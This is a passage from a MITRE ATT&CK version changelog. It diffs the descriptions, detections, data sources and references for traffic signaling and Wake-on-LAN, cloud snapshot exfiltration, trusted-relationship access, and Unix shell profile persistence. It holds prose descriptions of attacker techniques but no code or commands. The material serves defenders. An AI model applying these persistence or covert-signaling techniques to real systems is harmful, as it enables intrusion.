| > | or trigger other malicious functionality if passed the appro | > | or trigger other malicious functionality if passed the appro | ||
| > | priate magic value(s). The observation of the signal packet | > | priate magic value(s). The observation of the signal packet | ||
| > | s to trigger the communication can be conducted through diff | > | s to trigger the communication can be conducted through diff | ||
| > | erent methods. One means, originally implemented by Cd00r (C | > | erent methods. One means, originally implemented by Cd00r (C | ||
| > | itation: Hartrell cd00r 2002), is to use the libpcap librari | > | itation: Hartrell cd00r 2002), is to use the libpcap librari | ||
| > | es to sniff for the packets in question. Another method leve | > | es to sniff for the packets in question. Another method leve | ||
| > | rages raw sockets, which enables the malware to use ports th | > | rages raw sockets, which enables the malware to use ports th | ||
| > | at are already open for use by other programs. On network d | > | at are already open for use by other programs. On network d | ||
| > | evices, adversaries may use crafted packets to enable [Netwo | > | evices, adversaries may use crafted packets to enable [Netwo | ||
| > | rk Device Authentication](https://attack.mitre.org/technique | > | rk Device Authentication](https://attack.mitre.org/technique | ||
| > | s/T1556/004) for standard services offered by the device suc | > | s/T1556/004) for standard services offered by the device suc | ||
| > | h as telnet. Such signaling may also be used to open a clos | > | h as telnet. Such signaling may also be used to open a clos | ||
| > | ed service port such as telnet, or to trigger module modific | > | ed service port such as telnet, or to trigger module modific | ||
| > | ation of malware implants on the device, adding, removing, o | > | ation of malware implants on the device, adding, removing, o | ||
| > | r changing malicious capabilities.(Citation: Cisco Synful Kn | > | r changing malicious capabilities. Adversaries may use craf | ||
| > | ock Evolution) (Citation: FireEye - Synful Knock) (Citation: | > | ted packets to attempt to connect to one or more (open or cl | ||
| > | Cisco Blog Legacy Device Attacks) To enable this traffic s | > | osed) ports, but may also attempt to connect to a router int | ||
| > | ignaling on embedded devices, adversaries must first achieve | > | erface, broadcast, and network address IP on the same port i | ||
| > | and leverage [Patch System Image](https://attack.mitre.org/ | > | n order to achieve their goals and objectives.(Citation: Cis | ||
| > | techniques/T1601/001) due to the monolithic nature of the ar | > | co Synful Knock Evolution)(Citation: Mandiant - Synful Knock | ||
| > | chitecture. | > | )(Citation: Cisco Blog Legacy Device Attacks) To enable thi | ||
| > | s traffic signaling on embedded devices, adversaries must fi | ||||
| > | rst achieve and leverage [Patch System Image](https://attack | ||||
| > | .mitre.org/techniques/T1601/001) due to the monolithic natur | ||||
| > | e of the architecture. Adversaries may also use the Wake-on | ||||
| > | -LAN feature to turn on powered off systems. Wake-on-LAN is | ||||
| > | a hardware feature that allows a powered down system to be p | ||||
| > | owered on, or woken up, by sending a magic packet to it. Onc | ||||
| > | e the system is powered on, it may become a target for later | ||||
| > | al movement.(Citation: Bleeping Computer - Ryuk WoL)(Citatio | ||||
| > | n: AMD Magic Packet) | ||||
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_network_requirements | True | |
| x_mitre_permissions_required | ['User'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-21 15:30:44.964000+00:00 | 2022-04-19 19:52:50.774000+00:00 |
| description | Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control. Traffic signaling involves the use of a magic value or sequence that must be sent to a system to trigger a special response, such as opening a closed port or executing a malicious task. This may take the form of sending a series of packets with certain characteristics before a port will be opened that the adversary can use for command and control. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports (i.e. [Port Knocking](https://attack.mitre.org/techniques/T1205/001)), but can involve unusual flags, specific strings, or other unique characteristics. After the sequence is completed, opening a port may be accomplished by the host-based firewall, but could also be implemented by custom software. Adversaries may also communicate with an already open port, but the service listening on that port will only respond to commands or trigger other malicious functionality if passed the appropriate magic value(s). The observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs. On network devices, adversaries may use crafted packets to enable [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004) for standard services offered by the device such as telnet. Such signaling may also be used to open a closed service port such as telnet, or to trigger module modification of malware implants on the device, adding, removing, or changing malicious capabilities.(Citation: Cisco Synful Knock Evolution) (Citation: FireEye - Synful Knock) (Citation: Cisco Blog Legacy Device Attacks) To enable this traffic signaling on embedded devices, adversaries must first achieve and leverage [Patch System Image](https://attack.mitre.org/techniques/T1601/001) due to the monolithic nature of the architecture. | Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control. Traffic signaling involves the use of a magic value or sequence that must be sent to a system to trigger a special response, such as opening a closed port or executing a malicious task. This may take the form of sending a series of packets with certain characteristics before a port will be opened that the adversary can use for command and control. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports (i.e. [Port Knocking](https://attack.mitre.org/techniques/T1205/001)), but can involve unusual flags, specific strings, or other unique characteristics. After the sequence is completed, opening a port may be accomplished by the host-based firewall, but could also be implemented by custom software. Adversaries may also communicate with an already open port, but the service listening on that port will only respond to commands or trigger other malicious functionality if passed the appropriate magic value(s). The observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs. On network devices, adversaries may use crafted packets to enable [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004) for standard services offered by the device such as telnet. Such signaling may also be used to open a closed service port such as telnet, or to trigger module modification of malware implants on the device, adding, removing, or changing malicious capabilities. Adversaries may use crafted packets to attempt to connect to one or more (open or closed) ports, but may also attempt to connect to a router interface, broadcast, and network address IP on the same port in order to achieve their goals and objectives.(Citation: Cisco Synful Knock Evolution)(Citation: Mandiant - Synful Knock)(Citation: Cisco Blog Legacy Device Attacks) To enable this traffic signaling on embedded devices, adversaries must first achieve and leverage [Patch System Image](https://attack.mitre.org/techniques/T1601/001) due to the monolithic nature of the architecture. Adversaries may also use the Wake-on-LAN feature to turn on powered off systems. Wake-on-LAN is a hardware feature that allows a powered down system to be powered on, or woken up, by sending a magic packet to it. Once the system is powered on, it may become a target for lateral movement.(Citation: Bleeping Computer - Ryuk WoL)(Citation: AMD Magic Packet) |
| external_references[1]['source_name'] | Hartrell cd00r 2002 | Bleeping Computer - Ryuk WoL |
| external_references[1]['description'] | Hartrell, Greg. (2002, August). Get a handle on cd00r: The invisible backdoor. Retrieved October 13, 2018. | Abrams, L. (2021, January 14). Ryuk Ransomware Uses Wake-on-Lan To Encrypt Offline Devices. Retrieved February 11, 2021. |
| external_references[1]['url'] | https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631 | https://www.bleepingcomputer.com/news/security/ryuk-ransomware-uses-wake-on-lan-to-encrypt-offline-devices/ |
| external_references[2]['source_name'] | Cisco Synful Knock Evolution | AMD Magic Packet |
| external_references[2]['description'] | Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020. | AMD. (1995, November 1). Magic Packet Technical White Paper. Retrieved February 17, 2021. |
| external_references[2]['url'] | https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices | https://www.amd.com/system/files/TechDocs/20213.pdf |
| external_references[3]['source_name'] | FireEye - Synful Knock | Mandiant - Synful Knock |
| external_references[3]['url'] | https://www.fireeye.com/blog/threat-research/2015/09/synful_knock_-_acis.html | https://www.mandiant.com/resources/synful-knock-acis |
| external_references[4]['source_name'] | Cisco Blog Legacy Device Attacks | Cisco Synful Knock Evolution |
| external_references[4]['description'] | Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020. | Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020. |
| external_references[4]['url'] | https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954 | https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices |
| x_mitre_data_sources[0] | Packet capture | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[1] | Netflow/Enclave netflow | Network Traffic: Network Traffic Content |
| x_mitre_detection | Record network packets sent to and from the system, looking for extraneous packets that do not belong to established flows. | Record network packets sent to and from the system, looking for extraneous packets that do not belong to established flows.
The Wake-on-LAN magic packet consists of 6 bytes of FF followed by sixteen repetitions of the target system's IEEE address. Seeing this string anywhere in a packet's payload may be indicative of a Wake-on-LAN attempt.(Citation: GitLab WakeOnLAN) |
| x_mitre_version | 2.1 | 2.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Hartrell cd00r 2002', 'description': 'Hartrell, Greg. (2002, August). Get a handle on cd00r: The invisible backdoor. Retrieved October 13, 2018.', 'url': 'https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631'} | |
| external_references | {'source_name': 'Cisco Blog Legacy Device Attacks', 'description': 'Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.', 'url': 'https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954'} | |
| external_references | {'source_name': 'GitLab WakeOnLAN', 'description': 'Perry, David. (2020, August 11). WakeOnLAN (WOL). Retrieved February 17, 2021.', 'url': 'https://gitlab.com/wireshark/wireshark/-/wikis/WakeOnLAN'} | |
| x_mitre_contributors | Tony Lee | |
| x_mitre_data_sources | Network Traffic: Network Connection Creation |
Current version: 1.2
Version changed from: 1.0 → 1.2
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_network_requirements | True | |
| x_mitre_permissions_required | ['User'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-29 23:43:44.256000+00:00 | 2022-04-19 16:11:19.296000+00:00 |
| external_references[1]['source_name'] | DOJ GRU Indictment Jul 2018 | AWS EBS Snapshot Sharing |
| external_references[1]['description'] | Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018. | Amazon Web Services. (n.d.). Share an Amazon EBS snapshot. Retrieved March 2, 2022. |
| external_references[1]['url'] | https://www.justice.gov/file/1080281/download | https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-modifying-snapshot-permissions.html |
| x_mitre_data_sources[0] | Stackdriver logs | Snapshot: Snapshot Metadata |
| x_mitre_data_sources[1] | Azure activity logs | Snapshot: Snapshot Creation |
| x_mitre_data_sources[2] | AWS CloudTrail logs | Cloud Storage: Cloud Storage Metadata |
| x_mitre_detection | Monitor account activity for attempts to share data, snapshots, or backups with untrusted or unusual accounts on the same cloud service provider. Monitor for anomalous file transfer activity between accounts and to untrusted VPCs. | Monitor account activity for attempts to share data, snapshots, or backups with untrusted or unusual accounts on the same cloud service provider. Monitor for anomalous file transfer activity between accounts and to untrusted VPCs. In AWS, sharing an Elastic Block Store (EBS) snapshot, either with specified users or publicly, generates a ModifySnapshotAttribute event in CloudTrail logs.(Citation: AWS EBS Snapshot Sharing) Similarly, in Azure, creating a Shared Access Signature (SAS) URI for a Virtual Hard Disk (VHS) snapshot generates a "Get Snapshot SAS URL" event in Activity Logs.(Citation: Azure Blob Snapshots)(Citation: Azure Shared Access Signature) |
| x_mitre_platforms[0] | Azure | IaaS |
| x_mitre_version | 1.0 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Azure Shared Access Signature', 'description': 'Delegate access with a shared access signature. (2019, December 18). Delegate access with a shared access signature. Retrieved March 2, 2022.', 'url': 'https://docs.microsoft.com/en-us/rest/api/storageservices/delegate-access-with-shared-access-signature'} | |
| external_references | {'source_name': 'Azure Blob Snapshots', 'description': 'Microsoft Azure. (2021, December 29). Blob snapshots. Retrieved March 2, 2022.', 'url': 'https://docs.microsoft.com/en-us/azure/storage/blobs/snapshots-overview'} | |
| external_references | {'source_name': 'DOJ GRU Indictment Jul 2018', 'description': 'Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.', 'url': 'https://www.justice.gov/file/1080281/download'} | |
| x_mitre_contributors | Darin Smith, Cisco | |
| x_mitre_data_sources | Cloud Storage: Cloud Storage Creation | |
| x_mitre_data_sources | Cloud Storage: Cloud Storage Modification | |
| x_mitre_data_sources | Snapshot: Snapshot Modification |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | AWS | |
| x_mitre_platforms | GCP |
Current version: 2.2
Version changed from: 2.0 → 2.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may breach or otherwise leverage organizations w | t | 1 | Adversaries may breach or otherwise leverage organizations w |
| > | ho have access to intended victims. Access through trusted t | > | ho have access to intended victims. Access through trusted t | ||
| > | hird party relationship exploits an existing connection that | > | hird party relationship exploits an existing connection that | ||
| > | may not be protected or receives less scrutiny than standar | > | may not be protected or receives less scrutiny than standar | ||
| > | d mechanisms of gaining access to a network. Organizations | > | d mechanisms of gaining access to a network. Organizations | ||
| > | often grant elevated access to second or third-party externa | > | often grant elevated access to second or third-party externa | ||
| > | l providers in order to allow them to manage internal system | > | l providers in order to allow them to manage internal system | ||
| > | s as well as cloud-based environments. Some examples of thes | > | s as well as cloud-based environments. Some examples of thes | ||
| > | e relationships include IT services contractors, managed sec | > | e relationships include IT services contractors, managed sec | ||
| > | urity providers, infrastructure contractors (e.g. HVAC, elev | > | urity providers, infrastructure contractors (e.g. HVAC, elev | ||
| > | ators, physical security). The third-party provider's access | > | ators, physical security). The third-party provider's access | ||
| > | may be intended to be limited to the infrastructure being m | > | may be intended to be limited to the infrastructure being m | ||
| > | aintained, but may exist on the same network as the rest of | > | aintained, but may exist on the same network as the rest of | ||
| > | the enterprise. As such, [Valid Accounts](https://attack.mit | > | the enterprise. As such, [Valid Accounts](https://attack.mit | ||
| > | re.org/techniques/T1078) used by the other party for access | > | re.org/techniques/T1078) used by the other party for access | ||
| > | to internal network systems may be compromised and used. | > | to internal network systems may be compromised and used.(Cit | ||
| > | ation: CISA IT Service Providers) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-14 19:38:14.299000+00:00 | 2021-03-08 10:33:01.045000+00:00 |
| description | Adversaries may breach or otherwise leverage organizations who have access to intended victims. Access through trusted third party relationship exploits an existing connection that may not be protected or receives less scrutiny than standard mechanisms of gaining access to a network. Organizations often grant elevated access to second or third-party external providers in order to allow them to manage internal systems as well as cloud-based environments. Some examples of these relationships include IT services contractors, managed security providers, infrastructure contractors (e.g. HVAC, elevators, physical security). The third-party provider's access may be intended to be limited to the infrastructure being maintained, but may exist on the same network as the rest of the enterprise. As such, [Valid Accounts](https://attack.mitre.org/techniques/T1078) used by the other party for access to internal network systems may be compromised and used. | Adversaries may breach or otherwise leverage organizations who have access to intended victims. Access through trusted third party relationship exploits an existing connection that may not be protected or receives less scrutiny than standard mechanisms of gaining access to a network. Organizations often grant elevated access to second or third-party external providers in order to allow them to manage internal systems as well as cloud-based environments. Some examples of these relationships include IT services contractors, managed security providers, infrastructure contractors (e.g. HVAC, elevators, physical security). The third-party provider's access may be intended to be limited to the infrastructure being maintained, but may exist on the same network as the rest of the enterprise. As such, [Valid Accounts](https://attack.mitre.org/techniques/T1078) used by the other party for access to internal network systems may be compromised and used.(Citation: CISA IT Service Providers) |
| x_mitre_data_sources[0] | Azure activity logs | Logon Session: Logon Session Creation |
| x_mitre_data_sources[1] | Stackdriver logs | Application Log: Application Log Content |
| x_mitre_data_sources[2] | AWS CloudTrail logs | Logon Session: Logon Session Metadata |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | Windows | SaaS |
| x_mitre_platforms[2] | macOS | IaaS |
| x_mitre_platforms[3] | AWS | Linux |
| x_mitre_platforms[4] | GCP | macOS |
| x_mitre_version | 2.0 | 2.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'CISA IT Service Providers', 'description': 'CISA. (n.d.). APTs Targeting IT Service Provider Customers. Retrieved November 16, 2020.', 'url': 'https://us-cert.cisa.gov/APTs-Targeting-IT-Service-Provider-Customers'} |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Application logs | |
| x_mitre_data_sources | Authentication logs | |
| x_mitre_data_sources | Third-party application logs | |
| x_mitre_platforms | Azure | |
| x_mitre_platforms | SaaS |
Current version: 2.1
Version changed from: 1.0 → 2.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may establish persistence by executing malicious | t | 1 | Adversaries may establish persistence through executing mali |
| > | content triggered by a user’s shell. <code>~/.bash_profile< | > | cious commands triggered by a user’s shell. User [Unix Shell | ||
| > | /code> and <code>~/.bashrc</code> are shell scripts that con | > | ](https://attack.mitre.org/techniques/T1059/004)s execute se | ||
| > | tain shell commands. These files are executed in a user's co | > | veral configuration scripts at different points throughout t | ||
| > | ntext when a new shell opens or when a user logs in so that | > | he session based on events. For example, when a user opens a | ||
| > | their environment is set correctly. <code>~/.bash_profile</ | > | command-line interface or remotely logs in (such as via SSH | ||
| > | code> is executed for login shells and <code>~/.bashrc</code | > | ) a login shell is initiated. The login shell executes scrip | ||
| > | > is executed for interactive non-login shells. This means t | > | ts from the system (<code>/etc</code>) and the user’s home d | ||
| > | hat when a user logs in (via username and password) to the c | > | irectory (<code>~/</code>) to configure the environment. All | ||
| > | onsole (either locally or remotely via something like SSH), | > | login shells on a system use /etc/profile when initiated. T | ||
| > | the <code>~/.bash_profile</code> script is executed before t | > | hese configuration scripts run at the permission level of th | ||
| > | he initial command prompt is returned to the user. After tha | > | eir directory and are often used to set environment variable | ||
| > | t, every time a new shell is opened, the <code>~/.bashrc</co | > | s, create aliases, and customize the user’s environment. Whe | ||
| > | de> script is executed. This allows users more fine-grained | > | n the shell exits or terminates, additional shell scripts ar | ||
| > | control over when they want certain commands executed. These | > | e executed to ensure the shell exits appropriately. Advers | ||
| > | shell scripts are meant to be written to by the local user | > | aries may attempt to establish persistence by inserting comm | ||
| > | to configure their own environment. The macOS Terminal.app | > | ands into scripts automatically executed by shells. Using ba | ||
| > | is a little different in that it runs a login shell by defau | > | sh as an example, the default shell for most GNU/Linux syste | ||
| > | lt each time a new terminal window is opened, thus calling < | > | ms, adversaries may add commands that launch malicious binar | ||
| > | code>~/.bash_profile</code> each time instead of <code>~/.ba | > | ies into the <code>/etc/profile</code> and <code>/etc/profil | ||
| > | shrc</code>. Adversaries may abuse these shell scripts by i | > | e.d</code> files.(Citation: intezer-kaiji-malware)(Citation: | ||
| > | nserting arbitrary shell commands that may be used to execut | > | bencane blog bashrc) These files typically require root per | ||
| > | e other binaries to gain persistence. Every time the user lo | > | missions to modify and are executed each time any shell on a | ||
| > | gs in or opens a new shell, the modified ~/.bash_profile and | > | system launches. For user level permissions, adversaries ca | ||
| > | /or ~/.bashrc scripts will be executed.(Citation: amnesia ma | > | n insert malicious commands into <code>~/.bash_profile</code | ||
| > | lware) | > | >, <code>~/.bash_login</code>, or <code>~/.profile</code> wh | ||
| > | ich are sourced when a user opens a command-line interface o | ||||
| > | r connects remotely.(Citation: anomali-rocke-tactics)(Citati | ||||
| > | on: Linux manual bash invocation) Since the system only exec | ||||
| > | utes the first existing file in the listed order, adversarie | ||||
| > | s have used <code>~/.bash_profile</code> to ensure execution | ||||
| > | . Adversaries have also leveraged the <code>~/.bashrc</code> | ||||
| > | file which is additionally executed if the connection is es | ||||
| > | tablished remotely or an additional interactive shell is ope | ||||
| > | ned, such as a new tab in the command-line interface.(Citati | ||||
| > | on: Tsunami)(Citation: anomali-rocke-tactics)(Citation: anom | ||||
| > | ali-linux-rabbit)(Citation: Magento) Some malware targets th | ||||
| > | e termination of a program to trigger execution, adversaries | ||||
| > | can use the <code>~/.bash_logout</code> file to execute mal | ||||
| > | icious commands at the end of a session. For macOS, the fu | ||||
| > | nctionality of this technique is similar but may leverage zs | ||||
| > | h, the default shell for macOS 10.15+. When the Terminal.app | ||||
| > | is opened, the application launches a zsh login shell and a | ||||
| > | zsh interactive shell. The login shell configures the syste | ||||
| > | m environment using <code>/etc/profile</code>, <code>/etc/zs | ||||
| > | henv</code>, <code>/etc/zprofile</code>, and <code>/etc/zlog | ||||
| > | in</code>.(Citation: ScriptingOSX zsh)(Citation: PersistentJ | ||||
| > | XA_leopitt)(Citation: code_persistence_zsh)(Citation: macOS | ||||
| > | MS office sandbox escape) The login shell then configures th | ||||
| > | e user environment with <code>~/.zprofile</code> and <code>~ | ||||
| > | /.zlogin</code>. The interactive shell uses the <code>~/.zsh | ||||
| > | rc</code> to configure the user environment. Upon exiting, < | ||||
| > | code>/etc/zlogout</code> and <code>~/.zlogout</code> are exe | ||||
| > | cuted. For legacy programs, macOS executes <code>/etc/bashrc | ||||
| > | </code> on startup. | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Robert Wilson', 'Tony Lambert, Red Canary'] | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-24 16:28:04.990000+00:00 | 2021-08-20 18:01:52.120000+00:00 |
| name | .bash_profile and .bashrc | Unix Shell Configuration Modification |
| description | Adversaries may establish persistence by executing malicious content triggered by a user’s shell. ~/.bash_profile and ~/.bashrc are shell scripts that contain shell commands. These files are executed in a user's context when a new shell opens or when a user logs in so that their environment is set correctly.
~/.bash_profile is executed for login shells and ~/.bashrc is executed for interactive non-login shells. This means that when a user logs in (via username and password) to the console (either locally or remotely via something like SSH), the ~/.bash_profile script is executed before the initial command prompt is returned to the user. After that, every time a new shell is opened, the ~/.bashrc script is executed. This allows users more fine-grained control over when they want certain commands executed. These shell scripts are meant to be written to by the local user to configure their own environment.
The macOS Terminal.app is a little different in that it runs a login shell by default each time a new terminal window is opened, thus calling ~/.bash_profile each time instead of ~/.bashrc.
Adversaries may abuse these shell scripts by inserting arbitrary shell commands that may be used to execute other binaries to gain persistence. Every time the user logs in or opens a new shell, the modified ~/.bash_profile and/or ~/.bashrc scripts will be executed.(Citation: amnesia malware) | Adversaries may establish persistence through executing malicious commands triggered by a user’s shell. User [Unix Shell](https://attack.mitre.org/techniques/T1059/004)s execute several configuration scripts at different points throughout the session based on events. For example, when a user opens a command-line interface or remotely logs in (such as via SSH) a login shell is initiated. The login shell executes scripts from the system (/etc) and the user’s home directory (~/) to configure the environment. All login shells on a system use /etc/profile when initiated. These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user’s environment. When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately.
Adversaries may attempt to establish persistence by inserting commands into scripts automatically executed by shells. Using bash as an example, the default shell for most GNU/Linux systems, adversaries may add commands that launch malicious binaries into the /etc/profile and /etc/profile.d files.(Citation: intezer-kaiji-malware)(Citation: bencane blog bashrc) These files typically require root permissions to modify and are executed each time any shell on a system launches. For user level permissions, adversaries can insert malicious commands into ~/.bash_profile, ~/.bash_login, or ~/.profile which are sourced when a user opens a command-line interface or connects remotely.(Citation: anomali-rocke-tactics)(Citation: Linux manual bash invocation) Since the system only executes the first existing file in the listed order, adversaries have used ~/.bash_profile to ensure execution. Adversaries have also leveraged the ~/.bashrc file which is additionally executed if the connection is established remotely or an additional interactive shell is opened, such as a new tab in the command-line interface.(Citation: Tsunami)(Citation: anomali-rocke-tactics)(Citation: anomali-linux-rabbit)(Citation: Magento) Some malware targets the termination of a program to trigger execution, adversaries can use the ~/.bash_logout file to execute malicious commands at the end of a session.
For macOS, the functionality of this technique is similar but may leverage zsh, the default shell for macOS 10.15+. When the Terminal.app is opened, the application launches a zsh login shell and a zsh interactive shell. The login shell configures the system environment using /etc/profile, /etc/zshenv, /etc/zprofile, and /etc/zlogin.(Citation: ScriptingOSX zsh)(Citation: PersistentJXA_leopitt)(Citation: code_persistence_zsh)(Citation: macOS MS office sandbox escape) The login shell then configures the user environment with ~/.zprofile and ~/.zlogin. The interactive shell uses the ~/.zshrc to configure the user environment. Upon exiting, /etc/zlogout and ~/.zlogout are executed. For legacy programs, macOS executes /etc/bashrc on startup. |
| external_references[1]['source_name'] | amnesia malware | intezer-kaiji-malware |
| external_references[1]['description'] | Claud Xiao, Cong Zheng, Yanhui Jia. (2017, April 6). New IoT/Linux Malware Targets DVRs, Forms Botnet. Retrieved February 19, 2018. | Paul Litvak. (2020, May 4). Kaiji: New Chinese Linux malware turning to Golang. Retrieved December 17, 2020. |
| external_references[1]['url'] | https://researchcenter.paloaltonetworks.com/2017/04/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/ | https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/ |
| x_mitre_data_sources[0] | Process use of network | Process: Process Creation |
| x_mitre_data_sources[1] | Process command-line parameters | File: File Modification |
| x_mitre_data_sources[2] | Process monitoring | Command: Command Execution |
| x_mitre_data_sources[3] | File monitoring | File: File Creation |
| x_mitre_detection | While users may customize their ~/.bashrc and ~/.bash_profile files , there are only certain types of commands that typically appear in these files. Monitor for abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network when user profiles are loaded during the login process. | While users may customize their shell profile files, there are only certain types of commands that typically appear in these files. Monitor for abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network when user profiles are loaded during the login process.
Monitor for changes to /etc/profile and /etc/profile.d, these files should only be modified by system administrators. MacOS users can leverage Endpoint Security Framework file events monitoring these specific files.(Citation: ESF_filemonitor)
For most Linux and macOS systems, a list of file paths for valid shell options available on a system are located in the /etc/shells file.
|
| x_mitre_version | 1.0 | 2.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'bencane blog bashrc', 'description': 'Benjamin Cane. (2013, September 16). Understanding a little more about /etc/profile and /etc/bashrc. Retrieved February 25, 2021.', 'url': 'https://bencane.com/2013/09/16/understanding-a-little-more-about-etcprofile-and-etcbashrc/'} | |
| external_references | {'source_name': 'anomali-rocke-tactics', 'description': 'Anomali Threat Research. (2019, October 15). Illicit Cryptomining Threat Actor Rocke Changes Tactics, Now More Difficult to Detect. Retrieved December 17, 2020.', 'url': 'https://www.anomali.com/blog/illicit-cryptomining-threat-actor-rocke-changes-tactics-now-more-difficult-to-detect'} | |
| external_references | {'source_name': 'Linux manual bash invocation', 'description': 'ArchWiki. (2021, January 19). Bash. Retrieved February 25, 2021.', 'url': 'https://wiki.archlinux.org/index.php/Bash#Invocation'} | |
| external_references | {'source_name': 'Tsunami', 'description': 'Claud Xiao and Cong Zheng. (2017, April 6). New IoT/Linux Malware Targets DVRs, Forms Botnet. Retrieved December 17, 2020.', 'url': 'https://unit42.paloaltonetworks.com/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/'} | |
| external_references | {'source_name': 'anomali-linux-rabbit', 'description': 'Anomali Threat Research. (2018, December 6). Pulling Linux Rabbit/Rabbot Malware Out of a Hat. Retrieved December 17, 2020.', 'url': 'https://www.anomali.com/blog/pulling-linux-rabbit-rabbot-malware-out-of-a-hat'} | |
| external_references | {'source_name': 'Magento', 'description': 'Cesar Anjos. (2018, May 31). Shell Logins as a Magento Reinfection Vector. Retrieved December 17, 2020.', 'url': 'https://blog.sucuri.net/2018/05/shell-logins-as-a-magento-reinfection-vector.html'} | |
| external_references | {'source_name': 'ScriptingOSX zsh', 'description': 'Armin Briegel. (2019, June 5). Moving to zsh, part 2: Configuration Files. Retrieved February 25, 2021.', 'url': 'https://scriptingosx.com/2019/06/moving-to-zsh-part-2-configuration-files/'} | |
| external_references | {'source_name': 'PersistentJXA_leopitt', 'description': "Leo Pitt. (2020, August 6). Persistent JXA - A poor man's Powershell for macOS. Retrieved January 11, 2021.", 'url': 'https://posts.specterops.io/persistent-jxa-66e1c3cd1cf5'} | |
| external_references | {'source_name': 'code_persistence_zsh', 'description': 'Leo Pitt. (2020, November 11). Github - PersistentJXA/BashProfilePersist.js. Retrieved January 11, 2021.', 'url': 'https://github.com/D00MFist/PersistentJXA/blob/master/BashProfilePersist.js'} | |
| external_references | {'source_name': 'macOS MS office sandbox escape', 'description': 'Cedric Owens. (2021, May 22). macOS MS Office Sandbox Brain Dump. Retrieved August 20, 2021.', 'url': 'https://cedowens.medium.com/macos-ms-office-sandbox-brain-dump-4509b5fed49a'} | |
| external_references | {'source_name': 'ESF_filemonitor', 'description': "Patrick Wardle. (2019, September 17). Writing a File Monitor with Apple's Endpoint Security Framework. Retrieved December 17, 2020.", 'url': 'https://objective-see.com/blog/blog_0x48.html'} |
Current version: 1.2
Version changed from: 1.0 → 1.2
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
